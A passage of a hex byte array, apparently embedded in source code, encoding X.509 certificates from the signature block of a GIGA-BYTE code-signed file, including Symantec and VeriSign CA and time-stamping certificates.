0x96, - 0xD9, 0xBE, 0x61, 0x79, 0x0B, 0x5B, 0xC9, 0x4C, 0x86, 0x76, 0xE5, 0xE0, - 0x43, 0x4B, 0x22, 0x95, 0xEE, 0xC2, 0x2B, 0x43, 0xC1, 0x9F, 0xD8, 0x68, - 0xB4, 0x8E, 0x40, 0x4F, 0xEE, 0x85, 0x38, 0xB9, 0x11, 0xC5, 0x23, 0xF2, - 0x64, 0x58, 0xF0, 0x15, 0x32, 0x6F, 0x4E, 0x57, 0xA1, 0xAE, 0x88, 0xA4, - 0x02, 0xD7, 0x2A, 0x1E, 0xCD, 0x4B, 0xE1, 0xDD, 0x63, 0xD5, 0x17, 0x89, - 0x32, 0x5B, 0xB0, 0x5E, 0x99, 0x5A, 0xA8, 0x9D, 0x28, 0x50, 0x0E, 0x17, - 0xEE, 0x96, 0xDB, 0x61, 0x3B, 0x45, 0x51, 0x1D, 0xCF, 0x12, 0x56, 0x0B, - 0x92, 0x47, 0xFC, 0xAB, 0xAE, 0xF6, 0x66, 0x3D, 0x47, 0xAC, 0x70, 0x72, - 0xE7, 0x92, 0xE7, 0x5F, 0xCD, 0x10, 0xB9, 0xC4, 0x83, 0x64, 0x94, 0x19, - 0xBD, 0x25, 0x80, 0xE1, 0xE8, 0xD2, 0x22, 0xA5, 0xD0, 0xBA, 0x02, 0x7A, - 0xA1, 0x77, 0x93, 0x5B, 0x65, 0xC3, 0xEE, 0x17, 0x74, 0xBC, 0x41, 0x86, - 0x2A, 0xDC, 0x08, 0x4C, 0x8C, 0x92, 0x8C, 0x91, 0x2D, 0x9E, 0x77, 0x44, - 0x1F, 0x68, 0xD6, 0xA8, 0x74, 0x77, 0xDB, 0x0E, 0x5B, 0x32, 0x8B, 0x56, - 0x8B, 0x33, 0xBD, 0xD9, 0x63, 0xC8, 0x49, 0x9D, 0x3A, 0xC5, 0xC5, 0xEA, - 0x33, 0x0B, 0xD2, 0xF1, 0xA3, 0x1B, 0xF4, 0x8B, 0xBE, 0xD9, 0xB3, 0x57, - 0x8B, 0x3B, 0xDE, 0x04, 0xA7, 0x7A, 0x22, 0xB2, 0x24, 0xAE, 0x2E, 0xC7, - 0x70, 0xC5, 0xBE, 0x4E, 0x83, 0x26, 0x08, 0xFB, 0x0B, 0xBD, 0xA9, 0x4F, - 0x99, 0x08, 0xE1, 0x10, 0x28, 0x72, 0xAA, 0xCD, 0x02, 0x03, 0x01, 0x00, - 0x01, 0xA3, 0x82, 0x01, 0x57, 0x30, 0x82, 0x01, 0x53, 0x30, 0x0C, 0x06, - 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02, 0x30, 0x00, 0x30, - 0x16, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x01, 0x01, 0xFF, 0x04, 0x0C, 0x30, - 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, - 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, - 0x02, 0x07, 0x80, 0x30, 0x73, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x01, 0x01, 0x04, 0x67, 0x30, 0x65, 0x30, 0x2A, 0x06, 0x08, 0x2B, - 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x1E, 0x68, 0x74, 0x74, - 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x6F, 0x63, 0x73, 0x70, 0x2E, - 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, - 0x63, 0x6F, 0x6D, 0x30, 0x37, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x30, 0x02, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, - 0x74, 0x73, 0x2D, 0x61, 0x69, 0x61, 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, - 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x74, - 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, 0x65, 0x72, - 0x30, 0x3C, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x35, 0x30, 0x33, 0x30, - 0x31, 0xA0, 0x2F, 0xA0, 0x2D, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, - 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x63, 0x72, 0x6C, 0x2E, 0x77, 0x73, 0x2E, - 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, - 0x2F, 0x74, 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, - 0x72, 0x6C, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, - 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, - 0x70, 0x2D, 0x32, 0x30, 0x34, 0x38, 0x2D, 0x32, 0x30, 0x1D, 0x06, 0x03, - 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x46, 0xC6, 0x69, 0xA3, 0x0E, - 0x4A, 0x14, 0x1E, 0xD5, 0x4C, 0xDA, 0x52, 0x63, 0x17, 0x3F, 0x5E, 0x36, - 0xBC, 0x0D, 0xE6, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, - 0x30, 0x16, 0x80, 0x14, 0x5F, 0x9A, 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, - 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, - 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, - 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x78, 0x3B, 0xB4, 0x91, - 0x2A, 0x00, 0x4C, 0xF0, 0x8F, 0x62, 0x30, 0x37, 0x78, 0xA3, 0x84, 0x27, - 0x07, 0x6F, 0x18, 0xB2, 0xDE, 0x25, 0xDC, 0xA0, 0xD4, 0x94, 0x03, 0xAA, - 0x86, 0x4E, 0x25, 0x9F, 0x9A, 0x40, 0x03, 0x1C, 0xDD, 0xCE, 0xE3, 0x79, - 0xCB, 0x21, 0x68, 0x06, 0xDA, 0xB6, 0x32, 0xB4, 0x6D, 0xBF, 0xF4, 0x2C, - 0x26, 0x63, 0x33, 0xE4, 0x49, 0x64, 0x6D, 0x0D, 0xE6, 0xC3, 0x67, 0x0E, - 0xF7, 0x05, 0xA4, 0x35, 0x6C, 0x7C, 0x89, 0x16, 0xC6, 0xE9, 0xB2, 0xDF, - 0xB2, 0xE9, 0xDD, 0x20, 0xC6, 0x71, 0x0F, 0xCD, 0x95, 0x74, 0xDC, 0xB6, - 0x5C, 0xDE, 0xBD, 0x37, 0x1F, 0x43, 0x78, 0xE6, 0x78, 0xB5, 0xCD, 0x28, - 0x04, 0x20, 0xA3, 0xAA, 0xF1, 0x4B, 0xC4, 0x88, 0x29, 0x91, 0x0E, 0x80, - 0xD1, 0x11, 0xFC, 0xDD, 0x5C, 0x76, 0x6E, 0x4F, 0x5E, 0x0E, 0x45, 0x46, - 0x41, 0x6E, 0x0D, 0xB0, 0xEA, 0x38, 0x9A, 0xB1, 0x3A, 0xDA, 0x09, 0x71, - 0x10, 0xFC, 0x1C, 0x79, 0xB4, 0x80, 0x7B, 0xAC, 0x69, 0xF4, 0xFD, 0x9C, - 0xB6, 0x0C, 0x16, 0x2B, 0xF1, 0x7F, 0x5B, 0x09, 0x3D, 0x9B, 0x5B, 0xE2, - 0x16, 0xCA, 0x13, 0x81, 0x6D, 0x00, 0x2E, 0x38, 0x0D, 0xA8, 0x29, 0x8F, - 0x2C, 0xE1, 0xB2, 0xF4, 0x5A, 0xA9, 0x01, 0xAF, 0x15, 0x9C, 0x2C, 0x2F, - 0x49, 0x1B, 0xDB, 0x22, 0xBB, 0xC3, 0xFE, 0x78, 0x94, 0x51, 0xC3, 0x86, - 0xB1, 0x82, 0x88, 0x5D, 0xF0, 0x3D, 0xB4, 0x51, 0xA1, 0x79, 0x33, 0x2B, - 0x2E, 0x7B, 0xB9, 0xDC, 0x20, 0x09, 0x13, 0x71, 0xEB, 0x6A, 0x19, 0x5B, - 0xCF, 0xE8, 0xA5, 0x30, 0x57, 0x2C, 0x89, 0x49, 0x3F, 0xB9, 0xCF, 0x7F, - 0xC9, 0xBF, 0x3E, 0x22, 0x68, 0x63, 0x53, 0x9A, 0xBD, 0x69, 0x74, 0xAC, - 0xC5, 0x1D, 0x3C, 0x7F, 0x92, 0xE0, 0xC3, 0xBC, 0x1C, 0xD8, 0x04, 0x75, - 0x30, 0x82, 0x04, 0xEE, 0x30, 0x82, 0x03, 0xD6, 0xA0, 0x03, 0x02, 0x01, - 0x02, 0x02, 0x10, 0x2A, 0xD2, 0x2E, 0x07, 0x1F, 0x61, 0xCA, 0xFE, 0x78, - 0x84, 0xBF, 0xA4, 0x3A, 0x31, 0xB2, 0x1B, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x7F, - 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, - 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, - 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, - 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, - 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, 0x6E, - 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, - 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, - 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, - 0x36, 0x30, 0x37, 0x32, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, - 0x17, 0x0D, 0x31, 0x39, 0x30, 0x39, 0x31, 0x39, 0x32, 0x33, 0x35, 0x39, - 0x35, 0x39, 0x5A, 0x30, 0x81, 0x85, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, - 0x55, 0x04, 0x06, 0x13, 0x02, 0x54, 0x57, 0x31, 0x0F, 0x30, 0x0D, 0x06, - 0x03, 0x55, 0x04, 0x08, 0x0C, 0x06, 0x54, 0x61, 0x69, 0x77, 0x61, 0x6E, - 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0C, 0x0A, 0x4E, - 0x45, 0x57, 0x20, 0x54, 0x41, 0x49, 0x50, 0x45, 0x49, 0x31, 0x27, 0x30, - 0x25, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x0C, 0x1E, 0x47, 0x49, 0x47, 0x41, - 0x2D, 0x42, 0x59, 0x54, 0x45, 0x20, 0x54, 0x45, 0x43, 0x48, 0x4E, 0x4F, - 0x4C, 0x4F, 0x47, 0x59, 0x20, 0x43, 0x4F, 0x2E, 0x2C, 0x20, 0x4C, 0x54, - 0x44, 0x2E, 0x31, 0x27, 0x30, 0x25, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0C, - 0x1E, 0x47, 0x49, 0x47, 0x41, 0x2D, 0x42, 0x59, 0x54, 0x45, 0x20, 0x54, - 0x45, 0x43, 0x48, 0x4E, 0x4F, 0x4C, 0x4F, 0x47, 0x59, 0x20, 0x43, 0x4F, - 0x2E, 0x2C, 0x20, 0x4C, 0x54, 0x44, 0x2E, 0x30, 0x82, 0x01, 0x22, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, - 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, - 0x82, 0x01, 0x01, 0x00, 0xE7, 0x7A, 0x0E, 0x8A, 0xBB, 0xA2, 0xCB, 0xD4, - 0x84, 0xA0, 0x3F, 0x19, 0x4E, 0x28, 0x08, 0x42, 0x5D, 0xE8, 0xB3, 0x38, - 0xEE, 0x47, 0x96, 0x57, 0x44, 0x18, 0x2E, 0x7C, 0xCE, 0xED, 0x4A, 0x4B, - 0xC8, 0x90, 0xA9, 0x52, 0x90, 0x0E, 0x05, 0xB4, 0x0F, 0x73, 0x8E, 0x10, - 0x49, 0xAD, 0x41, 0x6C, 0x0F, 0x24, 0x78, 0x2C, 0xFD, 0xF8, 0xC7, 0x24, - 0x14, 0x4E, 0x23, 0x4A, 0x03, 0x60, 0x60, 0x35, 0xDA, 0x5D, 0x28, 0xAF, - 0x27, 0x4A, 0x3A, 0xBB, 0x2D, 0xE2, 0x84, 0x04, 0xDA, 0x8F, 0xBB, 0x13, - 0xED, 0x4E, 0x8B, 0xE1, 0xCE, 0xAB, 0xAA, 0xC3, 0xCB, 0xD5, 0x9D, 0xDB, - 0xB6, 0x4D, 0xB4, 0x72, 0x46, 0x99, 0x41, 0xDD, 0xD3, 0x5A, 0x46, 0x7F, - 0x48, 0x64, 0x6B, 0x1B, 0xBF, 0xA3, 0xA0, 0x8E, 0xF0, 0xF1, 0xC1, 0xD5, - 0x35, 0x99, 0x10, 0x28, 0x8A, 0xE5, 0x03, 0x68, 0xF7, 0x26, 0x71, 0xB8, - 0xDB, 0xBF, 0x38, 0xFE, 0xF5, 0x15, 0x3D, 0xB3, 0xD7, 0x40, 0x24, 0x54, - 0x35, 0x2F, 0xA3, 0xBA, 0xA1, 0xE4, 0x79, 0x42, 0xE3, 0x76, 0x92, 0xDF, - 0x86, 0xAD, 0x4A, 0x7F, 0x2E, 0x3E, 0x1F, 0xD9, 0xCE, 0x0F, 0x88, 0xB7, - 0xE1, 0xBC, 0x63, 0x67, 0x3F, 0xFB, 0xC8, 0xDD, 0xD1, 0x9C, 0xFE, 0xCC, - 0x80, 0x87, 0x02, 0x2C, 0xB7, 0x31, 0xAB, 0xAB, 0xA4, 0xB2, 0x49, 0x4E, - 0x4D, 0x06, 0x33, 0x3E, 0x3C, 0xC2, 0x8A, 0x74, 0xD7, 0x8F, 0x6D, 0x2E, - 0x7E, 0xD5, 0xC0, 0xF4, 0x17, 0xD7, 0x56, 0xFA, 0xDA, 0x4C, 0xEE, 0xE7, - 0xEA, 0xF4, 0x23, 0x06, 0x95, 0x70, 0xDE, 0x72, 0xFC, 0x9F, 0x9C, 0xF7, - 0xBF, 0x64, 0x4E, 0xBF, 0x09, 0x0F, 0xC9, 0x3B, 0x42, 0x80, 0x17, 0x72, - 0x32, 0x01, 0x12, 0xB3, 0xCA, 0x6C, 0x6D, 0x9D, 0x1D, 0x9F, 0xEE, 0x52, - 0x94, 0x42, 0x55, 0xB1, 0x07, 0x54, 0x14, 0x51, 0x02, 0x03, 0x01, 0x00, - 0x01, 0xA3, 0x82, 0x01, 0x5D, 0x30, 0x82, 0x01, 0x59, 0x30, 0x09, 0x06, - 0x03, 0x55, 0x1D, 0x13, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, - 0x30, 0x2B, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x24, 0x30, 0x22, 0x30, - 0x20, 0xA0, 0x1E, 0xA0, 0x1C, 0x86, 0x1A, 0x68, 0x74, 0x74, 0x70, 0x3A, - 0x2F, 0x2F, 0x73, 0x76, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, - 0x6F, 0x6D, 0x2F, 0x73, 0x76, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x61, 0x06, - 0x03, 0x55, 0x1D, 0x20, 0x04, 0x5A, 0x30, 0x58, 0x30, 0x56, 0x06, 0x06, - 0x67, 0x81, 0x0C, 0x01, 0x04, 0x01, 0x30, 0x4C, 0x30, 0x23, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x17, 0x68, 0x74, - 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x2E, 0x73, 0x79, 0x6D, 0x63, - 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x25, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x19, 0x0C, - 0x17, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x2E, 0x73, - 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, - 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x57, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x4B, 0x30, - 0x49, 0x30, 0x1F, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, - 0x01, 0x86, 0x13, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x76, - 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x64, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x26, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x1A, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x76, 0x2E, 0x73, 0x79, - 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x73, 0x76, 0x2E, 0x63, - 0x72, 0x74, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, - 0x16, 0x80, 0x14, 0x96, 0x3B, 0x53, 0xF0, 0x79, 0x33, 0x97, 0xAF, 0x7D, - 0x83, 0xEF, 0x2E, 0x2B, 0xCC, 0xCA, 0xB7, 0x86, 0x1E, 0x72, 0x66, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x65, 0xF2, - 0xC8, 0xCC, 0x11, 0xE2, 0xE2, 0x61, 0x27, 0x4D, 0xC3, 0xA7, 0xD4, 0xDC, - 0x07, 0xFB, 0x05, 0x39, 0xE3, 0xC2, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x01, - 0x01, 0x00, 0x08, 0x8E, 0x59, 0x02, 0x9A, 0xBE, 0xF5, 0x49, 0xA3, 0x06, - 0x01, 0xC3, 0x9D, 0xB2, 0xCB, 0x68, 0x70, 0x32, 0xDE, 0x13, 0xF4, 0x0C, - 0x63, 0xBD, 0x0D, 0x88, 0xDB, 0xE8, 0x58, 0xD6, 0xDD, 0xDD, 0xBD, 0xC2, - 0x35, 0x04, 0x4F, 0x1F, 0x31, 0xDD, 0xF3, 0xF6, 0xC9, 0x60, 0x58, 0x32, - 0x64, 0xC9, 0xB7, 0x30, 0x6D, 0xAD, 0xB3, 0x8E, 0xB6, 0x41, 0x60, 0xA4, - 0x0E, 0x80, 0x4B, 0xFE, 0xE6, 0xDE, 0xAC, 0x62, 0x4B, 0x72, 0x83, 0xEB, - 0xA4, 0x85, 0x91, 0xDA, 0xA2, 0x2C, 0xA7, 0x52, 0x3B, 0x15, 0x18, 0xCE, - 0x79, 0x21, 0x15, 0xFB, 0xBC, 0x4D, 0x9C, 0x31, 0x2D, 0x82, 0x4D, 0xD0, - 0xC4, 0x56, 0x6A, 0xA9, 0x85, 0xE8, 0xA6, 0x0C, 0xB4, 0x86, 0x44, 0x7F, - 0xBB, 0xA0, 0xF2, 0xC1, 0xDE, 0x3E, 0xFF, 0x0D, 0x98, 0xCB, 0xDE, 0xEF, - 0x89, 0x65, 0x3F, 0x04, 0x52, 0x03, 0xFD, 0xA3, 0xB6, 0xA4, 0x21, 0xD0, - 0x8E, 0xD1, 0x3E, 0x45, 0x61, 0x6E, 0x7C, 0x19, 0x6E, 0xD5, 0x62, 0x84, - 0xB6, 0x8D, 0x16, 0xE2, 0x4E, 0x62, 0xBA, 0x82, 0x22, 0xFA, 0x6B, 0x15, - 0xC7, 0xB5, 0x86, 0x13, 0x2D, 0xD3, 0x77, 0x7B, 0x42, 0x90, 0x8D, 0x93, - 0x0A, 0xB0, 0x82, 0xF5, 0x49, 0x51, 0x6D, 0x88, 0x64, 0x49, 0xAE, 0x87, - 0xC2, 0x0B, 0xB0, 0xC8, 0x47, 0x47, 0x77, 0xDE, 0x6C, 0x91, 0x91, 0x7D, - 0x8F, 0x17, 0x34, 0x68, 0xF7, 0x2E, 0xF3, 0xF8, 0x98, 0x98, 0xFE, 0xD2, - 0xD8, 0x61, 0xC3, 0x1A, 0x8E, 0xA2, 0x65, 0x9E, 0xAB, 0xC3, 0xCC, 0x02, - 0x3E, 0x20, 0x08, 0xFC, 0xA2, 0x6F, 0x4C, 0x1C, 0x7D, 0x05, 0x59, 0x4F, - 0xAE, 0xCB, 0x6E, 0x43, 0x7D, 0x61, 0xC1, 0x1E, 0x94, 0x7F, 0x6F, 0xDB, - 0x6C, 0xC0, 0xDB, 0x9C, 0xDF, 0xD6, 0x54, 0x6D, 0x52, 0x12, 0xC9, 0x4E, - 0xD8, 0xA3, 0x7F, 0xB7, 0x23, 0xE7, 0x30, 0x82, 0x05, 0x59, 0x30, 0x82, - 0x04, 0x41, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x3D, 0x78, 0xD7, - 0xF9, 0x76, 0x49, 0x60, 0xB2, 0x61, 0x7D, 0xF4, 0xF0, 0x1E, 0xCA, 0x86, - 0x2A, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, - 0x01, 0x0B, 0x05, 0x00, 0x30, 0x81, 0xCA, 0x31, 0x0B, 0x30, 0x09, 0x06, - 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, - 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, - 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, - 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, - 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, 0x30, 0x38, 0x06, 0x03, - 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x30, - 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, - 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x61, - 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, - 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, - 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, - 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, - 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, - 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x33, 0x31, - 0x32, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, - 0x32, 0x33, 0x31, 0x32, 0x30, 0x39, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, - 0x5A, 0x30, 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, - 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, - 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, - 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, - 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, - 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, - 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, - 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, - 0x74, 0x65, 0x63, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, - 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, - 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x82, - 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, - 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, - 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0x97, 0x83, 0x1E, 0x00, 0x16, - 0xAF, 0x2C, 0xB1, 0xD2, 0x08, 0xC4, 0xD7, 0x68, 0x93, 0x51, 0x60, 0x1E, - 0x71, 0xF6, 0xE2, 0x47, 0xB4, 0xDB, 0x58, 0x4D, 0x23, 0x62, 0x6A, 0xB4, - 0xBF, 0x5A, 0x1B, 0x51, 0xF7, 0xA3, 0x0D, 0x18, 0x77, 0x68, 0xBB, 0xD8, - 0x36, 0xAB, 0x2F, 0x21, 0x50, 0xDA, 0x9E, 0xF3, 0xE7, 0x5F, 0x27, 0x4E, - 0x0B, 0xC2, 0x97, 0xC8, 0x09, 0x70, 0x93, 0xA9, 0xDA, 0x5C, 0x0D, 0x4E, - 0xA4, 0x0D, 0x91, 0xA0, 0xB4, 0xEC, 0x14, 0xCE, 0x91, 0x72, 0x54, 0x2E, - 0xCE, 0xA3, 0xDB, 0x44, 0xE9, 0x52, 0x1B, 0x3F, 0x41, 0x3C, 0xCA, 0x4A, - 0xE4, 0xAA, 0xC0, 0xE8, 0x39, 0xAB, 0x53, 0xCC, 0x21, 0xD0, 0xCC, 0xCF, - 0x7F, 0x9B, 0xE6, 0xC2, 0xCC, 0x58, 0x6A, 0x82, 0x15, 0xEE, 0x3D, 0x36, - 0xCF, 0x1C, 0xC5, 0x97, 0x07, 0x24, 0x8E, 0xF1, 0x7B, 0xBE, 0x31, 0x2D, - 0x3D, 0x6E, 0xDC, 0xB5, 0x99, 0x42, 0x9F, 0x4B, 0x61, 0x95, 0x5F, 0x1C, - 0x70, 0xEE, 0x17, 0x7D, 0xDB, 0x8B, 0xE5, 0x61, 0x89, 0x78, 0xC7, 0x68, - 0x1B, 0xAF, 0x11, 0x78, 0x1A, 0x98, 0xAE, 0xC4, 0x55, 0x47, 0x53, 0xD9, - 0xB3, 0x32, 0xD6, 0xA1, 0x0E, 0x46, 0x40, 0xC5, 0x97, 0x92, 0x8A, 0xD1, - 0x53, 0xA7, 0x99, 0x5B, 